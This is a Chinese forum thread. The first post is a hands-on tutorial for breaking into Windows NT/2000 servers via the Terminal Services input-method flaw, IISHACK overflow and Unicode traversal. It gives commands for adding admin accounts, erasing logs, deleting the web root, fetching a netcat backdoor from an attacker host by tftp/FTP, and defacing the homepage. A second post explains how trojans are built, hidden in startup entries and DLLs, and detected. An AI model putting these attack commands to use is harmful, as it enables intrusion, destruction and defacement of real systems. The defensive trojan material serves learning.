发新话题
打印

NT的各种漏洞利用法

NT的各种漏洞利用法

今天向大家介绍的是NT的终端服务入侵远程计算机、IISHACK远程溢出漏洞及用的最广泛的UNICODE漏洞!

攻击方法一:

NT的终端服务入侵远程计算机需要客户端软件也可以用基于WEB的客户端软件和一个端口扫描器(我这里的是HAKTEK,如果大家有扫描固定端口的扫描器也可以,直接扫描3389端口就可以了)还有一个操作系统扫描器Grinder.

目标主机必须条件:WIN2000的操作系统,开放远程3389端口及输入法漏洞

ACTION,打开Grinder输入一段IP地址扫描,嘿嘿,扫到一些NT的了
XXX.34.218.100 URL Present Microsoft-IIS/5.0
XXX.34.218.101 URL Present Microsoft-IIS/5.0
XXX.34.218.102 URL Present Microsoft-IIS/5.0
XXX.34.218.103 URL Present Microsoft-IIS/5.0
XXX.34.218.104 URL Present Microsoft-IIS/5.0

...........................................
...........................................

然后将IP地址逐个输入到HAKTEK里面扫描3389端口,没多上时间就可以找到一些了:

xxx.34.218.100

..............

NEXT,打开客户端软件(WEB的客户端也可以),输入IP地址确认,呵呵,对方的登陆屏幕出现在客户端里了,在用户名里输入几个任意字符,然后按Ctrl+shift键,将输入法转化为全拼模式,将鼠标放在状态条的全拼图标上按右键,然后在帮助选项的里面选择输入法入门(如果能弹出输入法入门的话,那就说明这个机器有输入法漏洞,如果没有的话,那就换台机器试试吧!)再然后就在这个页面的“选项”上按右键,在弹出的选项里选择跳至URL,在新弹出跳至URL的选项里输入c:\winnt\system32并确认,呵呵,出来了。

现在有两种方法可以攻击:

1.将对方c:\winnt\system32里的cmd.exe拷贝到c:\inetpub\scripts\ccc.exe 里面,然后在浏览器里用

http://xxx.34.218.100/scripts/ccc.exe?/c+dir

来进行攻击。这种攻击类似于unicode漏洞的攻击方法,后面要详细介绍的,现在就不赘述了。

2.在右边的窗口里选择net.exe文件,右键后选择创建快捷方式,然后就会生成一个net.lnk的文件,再就在这个文件上按右键选择属性,在弹出的新窗口里的目标里输入:

C:\winnt\system32\net.exe user sharpwinner/add

确认后,这个窗口就会消失,呵呵,不用慌张,这个net.lnk将这条命令加入到了它里面去了,然后你只要双击这个net.lnk,对方的计算机就会运行这条命令,然后我们将这个帐号加入到administrators组里面去:

C:\winnt\system32\net.exe localgroup administrators sharpwinner/add

呵呵,好,这一阶段的任务完成,关掉帮助等弹出的窗口,在客户端中输入帐号:sharpwinner,密码为空,Enter!哈哈,进去了,在目标计算机的c:\winnt\system32\里面将我们创建的net.lnk删掉,呵呵,立刻到日志文件下D掉所有的记录:c:\winnt\system32\logfiles

改主页就不用我再说了,呵呵,缺省的目录是c:\inetpub\wwwroot里面!

攻击方法二:

IISHACK攻击法需要工具:iishack (注:iishack.exe是攻击NT4.0的,iishack1.exe是攻击NT5.0的) netcat和tftp还有netdde

首先,将TFTP装到自己机器里面,将自己的机器变成一个FTP服务器。

然后,利用前面找到的nt机器xxx.34.218.100来进行攻击:

c:\iishack xxx.34.218.100 80 99

如果显示攻击成功的话,那就可以再输入:

c:\telnet xxx.34.218.100 99

呵呵,进去了,然后进入到对方的c:\winnt\system32\里面,输入:

c:\winnt\system32\tftp -i <自己的IP地址> get netdde.exe

然后再运行netdde.exe文件,建立一个帐号,将它的权限提升到administrators组:

c:\winnt\system32\netdde.exe net user make love /add

c:\winnt\system32\netdde.exe net localgroup administrators make /add

然后退出来,用net use \\xxx.34.218.100\ipc$ love /user:make 建立IPC连接,然后就不用我再说了吧 呵呵,上期已经讲过的。

攻击方法三:

攻击需要工具:rscan

UNICODE漏洞,呵呵,大家肯定都用过了吧,我这里利用方法和你们的不一样,不信就来看看:

关于UNICODE的原理由于时间原因,我就不讲了,现在先告诉大家不同语言系统的利用语句:

简体中文的NT4中编码为%c1%9c,简体中文的NT5.0的编码为%c1%1c,英文操作系统NT5.0的是%c0%af,在国外的一些网站中看到还有一些其他的编码:

%c1%pc

%c0%2f
%c1%1c
%c0%2f

%c1%1c
%c0%2f
%c0%2f
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
%f0%80%80%af
%fc%80%80%80%80%af

有空大家可以测试。

我们现在就以简体中文的nt5.0或nt4.0的编码为例

先打开rscan工具,将编码的语句输入到里面去:(选择其中的一种)

/_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe
/scripts/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe

不多久,出来了一大排,呵呵,够了

然后,我们以/scripts/..%c1%1c../winnt/system32/cmd.exe为例来进行攻击。(注:..%c1%1c..%c1%1c..%c1%1c..是向上退出4层,..%c1%1c..是向上退出两层,我们缺省的目录是c:\inetpub\scripts,所以向上退出两层就可以了)

先给大家一个UNICODE攻击的工具集吧!

1.显示文件的内容(type命令)

http://x.x.x.x/scripts/..%c1%1c../w...:\redhacker.txt

2.删掉空的子目录(rd命令)

http://x.x.x.x/scripts/..%c1%1c../w...d+c:\badboy.txt

这些简单的就不用再说了,大家只要熟悉windows命令就可以了,我们来点cool一点的。

3.我们将c:\winnt\system32里面的cmd.exe改名并拷贝到c:\inetpub\scripts\ccc.exe,那我们就可以这样来显示对方硬盘了:

http://x.x.x.x/scripts/ccc.exe?/c+dir

4.查找主页的存放地(缺省情况下是放在c:\inetpub\wwwroot下的,但具我攻击的经验来看,缺省的情况很少,那么我们就用最快的方法来查找index.htm或index.html)

http://x.x.x.x/scripts/ccc.exe?/c+c...find.exe?/n+/v+""+c:(d盘e盘都可以试试)\xxx\*.ht*

4.批处理命令运用法(.bat)

http://x.x.x.x/scripts/ccc.exe?/c+echo+del /f /s /q c:\inetpub\wwwroot\*.* > sharpwinner.txt

http://x.x.x.x/scripts/ccc.exe?/c+echo+rd /f /s /q c:\inetpub\wwwroot

>> sharpwinner.txt(注:>是改写文件内容,>>是向文件中插入信息)

这样对方的C盘里的c:\inetpub\wwwroot目录和里面的文件都被删掉了。

5.attrib命令的用法(有的主机会将index.html文件设为只读或隐藏,所以我们就得用attrib命令来去除这些保护。

http://x.x.x.x/scripts/..%c1%1c../w...m32/attrib.exe? -r -h c:\inetpub\wwwroot\index.html

6.ftp的用法。

http://x.x.x.x/scripts/ccc.exe?/c+echo+open+*.*.*.*>redhacker.txt
http://x.x.x.x/scripts/ccc.exe?/c+echo+user>>redhacker.txt
http://x.x.x.x/scripts/ccc.exe?/c+echo+pass>>redhacker.txt
http://x.x.x.x/scripts/ccc.exe?/c+echo+get+srv.exe>>redhacker.txt
http://x.x.x.x/scripts/ccc.exe?/c+echo+bye>>redhacker.txt

这里的srv.exe就是nc99.exe

7.echo命令的用法(最后一步,是做什么?大家猜猜,呵呵,当然是篡改主页了,主页都不能改,那还做黑客啊,呵呵)

http://x.x.x.x/scripts/ccc.exe?/c+echo+hacked by sharpwinner >c:\inetpub\wwwroot\index.html

打开浏览器一看,index.html的内容变成了hacked by sharpwinner,嘿嘿,篡改成功。

TOP

木马攻击与防御原理

  一、 引言

  特洛伊木马是 Trojan Horse 的中译,是借自"木马屠城记"中那只木马的名字。古希腊有大军围攻特洛伊城,逾年无法攻下。有人献计制造一只高二丈的大木马假装作战马神,攻击数天后仍然无功,遂留下木马拔营而去。城中得到解围的消息,及得到"木马"这个奇异的战利品,全城饮酒狂欢。到午夜时份,全城军民尽入梦乡,匿于木马中的将士开秘门游绳而下,开启城门及四处纵火,城外伏兵涌入,焚屠特洛伊城。后世称这只木马为"特洛伊木马",现今计算机术语借用其名,意思是"一经进入,后患无穷"。特洛伊木马原则上它和Laplink 、 PCanywhere 等程序一样,只是一种远程管理工具。而且本身不带伤害性,也没有感染力,所以不能称之为病毒 (也有人称之为第二代病毒);但却常常被视之为病毒。原因是如果有人不当的使用,破坏力可以比病毒更强。

  二、木马攻击原理

  特洛伊木马是一个程序,它驻留在目标计算机里,可以随计算机自动启动并在某一端口进行侦听,在对接收的数据识别后,对目标计算机执行特定的操作。木马,其实质只是一个通过端口进行通信的网络客户/服务程序。

  1、基本概念:网络客户/服务模式的原理是一台主机提供服务(服务器),另一台主机接受服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen), 如果有客户机向服务器的这一端口提出连接请求(Connect Request), 服务器上的相应程序就会自动运行,来应答客户机的请求,这个程序称为守护进程(UNIX的术语,不过已经被移植到了MS系统上)。对于特洛伊木马,被控制端就成为一台服务器,控制端则是一台客户机,G_server.exe是守护进程, G_client是客户端应用程序。

  2、程序实现:

   可以使用VB或VC的Winsock控件来编写网络客户/服务程序, 实现方法如下:

  服务器端:

  G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值)

  G_Server.Listen(等待连接)

  客户端:

  G_Client.RemoteHost=ServerIP(设远端地址为服务器地址)

  G_Client.RemotePort=7626(设远程端口为冰河的默认端口)

  (在这里可以分配一个本地端口给G_Client, 如果不分配, 计算机将会自动分配一个)

  G_Client.Connect(调用Winsock控件的连接方法)

  一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接

  Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)

  G_Server.Accept requestID

  End Sub

  客户端用G_Client.SendData发送命令,而服务器在G_Server_DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)

  如果客户断开连接,则关闭连接并重新监听端口

  Private Sub G_Server_Close()

  G_Server.Close (关闭连接)

  G_Server.Listen(再次监听)

  End Sub

  客户端上传一个命令,服务端解释并执行命令。

  3、实现木马的控制功能

  由于Win98开放了所有的权限给用户,因此,以用户权限运行的木马程序几乎可以控制一切,下面仅对木马的主要功能进行简单的概述, 主要是使用Windows API函数。

  (1)远程监控(控制对方鼠标、键盘,并监视对方屏幕)

   keybd_event模拟一个键盘动作。

  mouse_event模拟一次鼠标事件

  mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)dwFlags:

  MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置

  MOUSEEVENTF_MOVE 移动鼠标

  MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下

  MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起

  MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下

  MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下

  dx,dy:MOUSEEVENTF_ABSOLUTE中的鼠标坐标

  (2)记录各种口令信息

  keylog begin:将击键记录在一个文本文件里,同时还记录执行输入的窗口名

  (3)获取系统信息

  a.取得计算机名 GetComputerName

  b.更改计算机名 SetComputerName

  c.当前用户 GetUserName

  d.系统路径

  Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")(建立文件系统对象)

  Set SystemDir = FileSystem0bject.getspecialfolder(1)(取系统目录)

  Set SystemDir = FileSystem0bject.getspecialfolder(0)(取Windows安装目录)

  e.取得系统版本 GetVersionEx

  f.当前显示分辨率

  Width = screen.Width\ screen.TwipsPerPixelX

  Height= screen.Height \ screen.TwipsPerPixelY

  (4)限制系统功能

  a.远程关机或重启计算机,使用WinAPI中的如下函数可以实现:

  ExitWindowsEx(UINT uFlags,DWORD dwReserved)

  当uFlags=EWX_LOGOFF 中止进程,然后注销

  =EWX_SHUTDOWN 关掉系统但不关电源

  =EWX_REBOOT 重新引导系统

  =EWX_FORCE强迫中止没有响应的进程

  =EWX_POWERDOWN 关掉系统及关闭电源

  b.锁定鼠标,ClipCursor(lpRect As RECT)可以将指针限制到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以,RECT是定义的一个矩形。

  c.让对方掉线 RasHangUp

  d.终止进程 ExitProcess

  e.关闭窗口 利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口

  (5)远程文件操作

  删除文件:File delete

  拷贝文件:File copy

  共享文件:Export list(列出当前共享的驱动器、目录、权限及共享密码)

  (6)注册表操作

  在VB中只要Set RegEdit=CreateObject("WScript.Shell")就可以使用以下的注册表功能:

  删除键值:RegEdit.RegDelete RegKey

  增加键值:RegEdit.Write RegKey,RegValue

  获取键值:RegEdit.RegRead (Value)

  三、特洛伊木马隐身方法

  木马程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以伪装自己。当然它也会悄无声息地启动,木马会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。

  在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

  在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

  在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的 Explorer 键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。
  目前,除了上面介绍的隐身技术外,更新、更隐蔽的方法已经出现,那就是-驱动程序及动态链接库技术。驱动程序及动态链接库技术和一般的木马不同,它基本上摆脱了原有的木马模式-监听端口,而采用替代系统功能的方法(改写驱动程序或动态链接库)。这样做的结果是:系统中没有增加新的文件(所以不能用扫描的方法查杀)、不需要打开新的端口(所以不能用端口监视的方法查杀)、没有新的进程(所以使用进程查看的方法发现不了它,也不能用kill进程的方法终止它的运行)。在正常运行时木马几乎没有任何的症状,而一旦木马的控制端向被控端发出特定的信息后,隐藏的程序就立即开始运作。

  四、 特洛伊木马防御原理

  知道了木马的攻击原理和隐身方法,我们就可以采取措施进行防御了。

  1.端口扫描

  端口扫描是检查远程机器有无木马的最好办法, 端口扫描的原理非常简单, 扫描程序尝试连接某个端口, 如果成功, 则说明端口开放,如果失败或超过某个特定的时间(超时), 则说明端口关闭。但对于驱动程序/动态链接木马, 扫描端口是不起作用的。

  2.查看连接

  查看连接和端口扫描的原理基本相同,不过是在本地机上通过netstat -a(或某个第三方程序)查看所有的TCP/UDP连接,查看连接要比端口扫描快,但同样是无法查出驱动程序/动态链接木马,而且仅仅能在本地使用。

  3.检查注册表

  上面在讨论木马的启动方式时已经提到,木马可以通过注册表启动(好像现在大部分的木马都是通过注册表启动的,至少也把注册表作为一个自我保护的方式),那么,我们同样可以通过检查注册表来发现冰河在注册表里留下的痕迹。

  4.查找文件

  查找木马特定的文件也是一个常用的方法,木马的一个特征文件是kernl32.exe,另一个是sysexlpr.exe,只要删除了这两个文件,木马就已经不起作用了。如果你只是删除了sysexlpr.exe而没有做扫尾工作的话,可能会遇到一些麻烦-就是你的文本文件打不开了, sysexplr.exe是和文本文件关联的,你还必须把文本文件跟notepad关联上。

  另外,对于驱动程序/动态链接库木马,有一种方法可以试试,使用Windows的"系统文件检查器",通过"开始菜单"-"程序"-"附件"-"系统工具"-"系统信息"-"工具"可以运行"系统文件检查器", 用“系统文件检查器”可检测操作系统文件的完整性,如果这些文件损坏,检查器可以将其还原,检查器还可以从安装盘中解压缩已压缩的文件(如驱动程序)。如果你的驱动程序或动态链接库在你没有升级它们的情况下被改动了,就有可能是木马(或者损坏了),提取改动过的文件可以保证你的系统安全和稳定。

  五、结束语

  只要你有一点点的疏忽,就有可能被人安装了木马。所以平时不要随便从网站上下载软件,不要随便运行别人给的软件,经常检查自己的系统文件、注册表、端口,经常去安全站点查看最新的木马公告等等,提高自己的网络安全意识,了解木马的常见伎俩,这样对于保证自己电脑的安全不无裨益。

TOP

发新话题